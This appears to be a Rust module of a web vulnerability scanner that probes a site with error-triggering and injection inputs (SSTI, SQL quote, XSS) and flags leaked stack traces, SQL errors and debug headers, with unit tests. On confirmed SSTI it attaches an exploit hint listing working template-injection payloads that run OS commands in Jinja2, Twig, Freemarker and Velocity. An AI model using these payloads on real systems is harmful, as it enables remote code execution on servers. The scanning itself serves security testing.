use gossan_core::Target;
use reqwest::Client;
use secfinding::{Evidence, Finding, Severity};
const SSTI_PRODUCT: &str = "159401";
const MAX_DEBUG_HEADER_CHARS: usize = 80;
const ERROR_TRIGGERS: &[(&str, &str)] = &[
("/gossan-error-probe-9z3k2p", "random 404"),
("/?__gossan__=<script>x</script>", "XSS reflection / error"),
("/?q={{473*337}}", "SSTI probe {{473*337}} → 159401"),
("/?q=${473*337}", "SSTI probe ${473*337} (Java EL)"),
("/?q=<%=473*337%>", "SSTI probe <%=473*337%> (ERB)"),
("/?q=<%= 473*337 %>", "SSTI probe ERB with spaces"),
("/?id=1'", "SQL injection probe"),
("/?id=1\"", "SQL injection probe (double quote)"),
("/?page[]=1&page[]=2", "PHP array confusion"),
];
const STACK_TRACE_PATTERNS: &[(&str, &str, Severity)] = &[
(
"Traceback (most recent call last)",
"Python traceback in error response",
Severity::High,
),
(
"django.core.exceptions",
"Django exception in error response",
Severity::High,
),
(
"File \"/",
"Python file path in error response",
Severity::Medium,
),
(
"java.lang.",
"Java exception in error response",
Severity::High,
),
(
"org.springframework",
"Spring framework exception",
Severity::High,
),
(
"at com.",
"Java stack frame in error response",
Severity::Medium,
),
(
"Caused by:",
"Java exception chain in response",
Severity::Medium,
),
(
"Fatal error:",
"PHP fatal error in response",
Severity::High,
),
(
"PHP Warning:",
"PHP warning in response",
Severity::Medium,
),
(
"Warning: include(",
"PHP include warning in response",
Severity::Medium,
),
(
"Warning: require(",
"PHP require warning in response",
Severity::Medium,
),
(
"Warning: fopen(",
"PHP fopen warning in response",
Severity::Medium,
),
(
"Stack trace:",
"PHP stack trace in response",
Severity::High,
),
(
"app/controllers/",
"Rails controller path in response",
Severity::High,
),
(
"ActionController::",
"Rails ActionController exception",
Severity::High,
),
(
"at Object.<anonymous>",
"Node.js stack frame in response",
Severity::High,
),
(
"at Module._compile",
"Node.js module stack in response",
Severity::High,
),
(
"syntax error near",
"SQL syntax error in response",
Severity::High,
),
("ORA-", "Oracle SQL error in response", Severity::High),
("mysql_error", "MySQL error in response", Severity::High),
("pg_query", "PostgreSQL error in response", Severity::High),
("SQLSTATE[", "PDO SQL error in response", Severity::High),
(
"Unclosed quotation mark",
"MSSQL error in response",
Severity::High,
),
("/var/www/", "Web root path in response", Severity::Medium),
("/usr/share/", "Unix share path in response", Severity::Medium),
("C:\\inetpub", "IIS path in response", Severity::Medium),
(
"C:\\Users\\",
"Windows user path in response",
Severity::Medium,
),
(
"159401",
"SSTI confirmed, arithmetic expression evaluated to 159401",
Severity::Critical,
),
(
"Whoops! There was an error.",
"Laravel Whoops debug page",
Severity::High,
),
("DEBUG = True", "Django DEBUG mode active", Severity::High),
(
"Rails is running in development mode",
"Rails development mode banner",
Severity::High,
),
];
const DEBUG_HEADERS: &[(&str, &str, Severity)] = &[
(
"x-debug-token",
"Symfony debug token leaked",
Severity::Medium,
),
(
"x-debug-token-link",
"Symfony Profiler URL exposed",
Severity::Medium,
),
("x-debugbar-id", "PHP DebugBar active", Severity::Medium),
("x-powered-cgi", "CGI mode exposed", Severity::Low),
(
"x-application-context",
"Spring app context exposed",
Severity::Medium,
),
(
"x-envoy-upstream-service-time",
"Envoy/Istio internal timing",
Severity::Low,
),
];
pub async fn probe(client: &Client, target: &Target) -> anyhow::Result<Vec<Finding>> {
let Target::Web(asset) = target else {
return Ok(vec![]);
};
let base = asset.url.as_str().trim_end_matches('/');
let mut findings = Vec::new();
let mut reported_patterns: std::collections::HashSet<&str> = std::collections::HashSet::new();
let baseline = crate::soft404::establish(client, base).await;
for (suffix, _trigger_desc) in ERROR_TRIGGERS {
let url = format!("{}{}", base, suffix);
let resp = match client.get(&url).send().await {
Ok(r) => r,
Err(e) => {
tracing::warn!("error_disclosure: probe request failed url={url} error={e}");
continue;
}
};
let status = resp.status().as_u16();
let resp_headers: Vec<(String, String)> = resp
.headers()
.iter()
.map(|(k, v)| {
(
k.to_string(),
match v.to_str() {
Ok(s) => s.to_string(),
Err(_) => String::new(),
},
)
})
.collect();
for (header, name, severity) in DEBUG_HEADERS {
if let Some((_, val)) = resp_headers
.iter()
.find(|(k, _)| k.eq_ignore_ascii_case(header))
{
if reported_patterns.insert(header) {
gossan_core::try_push_finding(crate::info_finding(target, *severity,
format!("{} header present", name),
format!("Response to {} contains debug header {}: {}. \
Debug infrastructure is active and leaking implementation details.",
url, header, val.chars().take(MAX_DEBUG_HEADER_CHARS).collect::<String>()))
.evidence(Evidence::HttpResponse {
status,
headers: vec![(header.to_string().into(), val.clone().into())],
body_excerpt: None,
})
.tag("debug").tag("exposure").tag("headers"), &mut findings);
}
}
}
let Some(bytes) = crate::soft404::read_limited(resp, crate::MAX_BODY_BYTES).await else {
tracing::warn!("error_disclosure: body read failed or oversized; skipping body scan url={url}");
continue;
};
if crate::soft404::is_likely_404(status, &bytes, baseline.as_ref(), false) {
continue;
}
let body = String::from_utf8_lossy(&bytes);
let is_ssti_probe = suffix.contains("473*337");
for (pattern, name, severity) in STACK_TRACE_PATTERNS {
if *pattern == SSTI_PRODUCT && !is_ssti_probe {
continue;
}
if body.contains(pattern) && reported_patterns.insert(pattern) {
let excerpt = body
.lines()
.find(|l| l.contains(pattern))
.map(|l| crate::path_sanitize::sanitize_excerpt(l.trim(), 200))
.unwrap_or_default();
let is_ssti = *pattern == SSTI_PRODUCT && is_ssti_probe;
let detail = if is_ssti {
format!("SSTI confirmed, template expression `{{{{473*337}}}}` evaluated to `159401` in response. \
The template engine executes injected expressions server-side. \
Escalate to RCE by injecting OS commands via the template syntax. URL: {}", url)
} else {
format!("{} detected in error response from {}. \
This discloses server internals to unauthenticated attackers. \
internal paths, framework versions, and class names aid further attacks.", name, url)
};
gossan_core::try_push_finding(crate::info_finding(target,
if is_ssti { Severity::Critical } else { *severity },
if is_ssti { "Server-Side Template Injection (SSTI) confirmed" } else { name },
detail)
.evidence(Evidence::HttpResponse {
status,
headers: vec![],
body_excerpt: Some((excerpt).into()),
})
.tag("error-disclosure").tag("debug").tag("exposure")
.tag(if is_ssti { "ssti" } else { "stack-trace" })
.exploit_hint(if is_ssti {
format!(
"# Escalate SSTI to RCE (adapt to detected engine):\n\
# Jinja2/Python:\n\
# {}?q={{{{config.__class__.__init__.__globals__['os'].popen('id').read()}}}}\n\
# Jinja2 (no config):\n\
# {}?q={{{{''.__class__.mro()[1].__subclasses__()[408]('id',shell=True,stdout=-1).communicate()}}}}\n\
# Twig/PHP:\n\
# {}?q={{{{_self.env.registerUndefinedFilterCallback('exec')}}}}{{{{_self.env.getFilter('id')}}}}\n\
# Freemarker/Java:\n\
# {}?q=${{\"freemarker.template.utility.Execute\"?new()('id')}}\n\
# Velocity/Java:\n\
# {}?q=#set($x='')#set($rt=$x.class.forName('java.lang.Runtime'))#set($chr=$x.class.forName('java.lang.Character'))#set($str=$x.class.forName('java.lang.String'))#set($ex=$rt.getRuntime().exec('id'))$ex.waitFor()",
base, base, base, base, base)
} else {
String::new()
}), &mut findings);
}
}
if findings
.iter()
.any(|f: &Finding| f.severity() == Severity::Critical)
{
break;
}
}
Ok(findings)
}
#[cfg(test)]
mod tests {
use super::*;
#[test]
fn ssti_trigger_payloads_are_present() {
assert!(ERROR_TRIGGERS
.iter()
.any(|(path, _)| path.contains("{{473*337}}")));
assert!(ERROR_TRIGGERS
.iter()
.any(|(path, _)| path.contains("${473*337}")));
assert!(ERROR_TRIGGERS
.iter()
.any(|(path, _)| path.contains("<%=473*337%>")));
}
#[test]
fn stack_trace_patterns_cover_multiple_frameworks() {
assert!(STACK_TRACE_PATTERNS
.iter()
.any(|(pattern, _, _)| *pattern == "Traceback (most recent call last)"));
assert!(STACK_TRACE_PATTERNS
.iter()
.any(|(pattern, _, _)| *pattern == "java.lang."));
assert!(STACK_TRACE_PATTERNS
.iter()
.any(|(pattern, _, _)| *pattern == "Fatal error:"));
assert!(STACK_TRACE_PATTERNS
.iter()
.any(|(pattern, _, _)| *pattern == SSTI_PRODUCT));
}
#[test]
fn debug_headers_cover_common_frameworks() {
assert!(DEBUG_HEADERS
.iter()
.any(|(header, _, _)| *header == "x-debug-token"));
assert!(DEBUG_HEADERS
.iter()
.any(|(header, _, _)| *header == "x-debugbar-id"));
assert!(DEBUG_HEADERS
.iter()
.any(|(header, _, _)| *header == "x-application-context"));
}
#[test]
fn error_triggers_contain_sql_injection_probe() {
assert!(ERROR_TRIGGERS.iter().any(|(path, _)| path.contains("1'")));
assert!(ERROR_TRIGGERS.iter().any(|(path, _)| path.contains("1\"")));
}
#[test]
fn error_triggers_contain_array_confusion() {
assert!(ERROR_TRIGGERS.iter().any(|(path, _)| path.contains("page[]")));
}
#[test]
fn stack_trace_patterns_cover_internal_paths() {
assert!(STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "/var/www/"));
assert!(STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "/usr/share/"));
assert!(STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "C:\\inetpub"));
assert!(!STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "/home/"));
assert!(!STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "/app/"));
assert!(!STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "Warning: "));
assert!(!STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "on line "));
assert!(!STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "development mode"));
}
#[test]
fn debug_headers_cover_x_envoy_timing() {
assert!(DEBUG_HEADERS.iter().any(|(h, _, _)| *h == "x-envoy-upstream-service-time"));
}
#[test]
fn stack_trace_patterns_cover_oracle_error() {
assert!(STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "ORA-"));
}
#[test]
fn error_triggers_contain_xss_probe() {
assert!(ERROR_TRIGGERS.iter().any(|(path, _)| path.contains("__gossan__")));
}
#[test]
fn stack_trace_patterns_cover_sqlstate() {
assert!(STACK_TRACE_PATTERNS.iter().any(|(p, _, _)| *p == "SQLSTATE["));
}
#[test]
fn debug_headers_cover_x_debug_token_link() {
assert!(DEBUG_HEADERS.iter().any(|(h, _, _)| *h == "x-debug-token-link"));
}
#[test]
fn ssti_product_length_is_six() {
assert_eq!(SSTI_PRODUCT.len(), 6);
assert_eq!(SSTI_PRODUCT, "159401");
}
#[test]
fn error_triggers_cover_php_array_confusion() {
assert!(ERROR_TRIGGERS.iter().any(|(path, _)| path.contains("page[]")));
}
#[tokio::test]
async fn spa_catch_all_with_generic_needles_yields_zero_findings() {
use wiremock::matchers::method;
use wiremock::{Mock, MockServer, ResponseTemplate};
let server = MockServer::start().await;
let shell = concat!(
"<html><body>Welcome home! Visit /home/dashboard and /app/settings. ",
"Warning: this is a marketing site in development mode on line 42. ",
"Enjoy!</body></html>"
);
Mock::given(method("GET"))
.respond_with(ResponseTemplate::new(200).set_body_string(shell))
.mount(&server)
.await;
let client = reqwest::Client::new();
let target = gossan_core::testkit::web_target(&server.uri());
let findings = probe(&client, &target).await.unwrap();
assert!(
findings.is_empty(),
"SPA catch-all must not produce error-disclosure findings, got {:?}",
findings
);
}
#[tokio::test]
async fn distinct_traceback_body_still_reports() {
use wiremock::matchers::{method, path};
use wiremock::{Mock, MockServer, ResponseTemplate};
let server = MockServer::start().await;
let shell = "<html><body>SPA shell</body></html>";
let traceback = "Traceback (most recent call last):\n File \"/var/www/app.py\", line 1\n";
Mock::given(method("GET"))
.and(path("/gossan-error-probe-9z3k2p"))
.respond_with(ResponseTemplate::new(500).set_body_string(traceback))
.mount(&server)
.await;
Mock::given(method("GET"))
.respond_with(ResponseTemplate::new(200).set_body_string(shell))
.mount(&server)
.await;
let client = reqwest::Client::new();
let target = gossan_core::testkit::web_target(&server.uri());
let findings = probe(&client, &target).await.unwrap();
assert!(
findings.iter().any(|f| f.title().contains("Python traceback")
|| f.title().contains("Web root path")
|| f.title().contains("Python file path")),
"expected traceback disclosure finding, got {:?}",
findings
);
}
}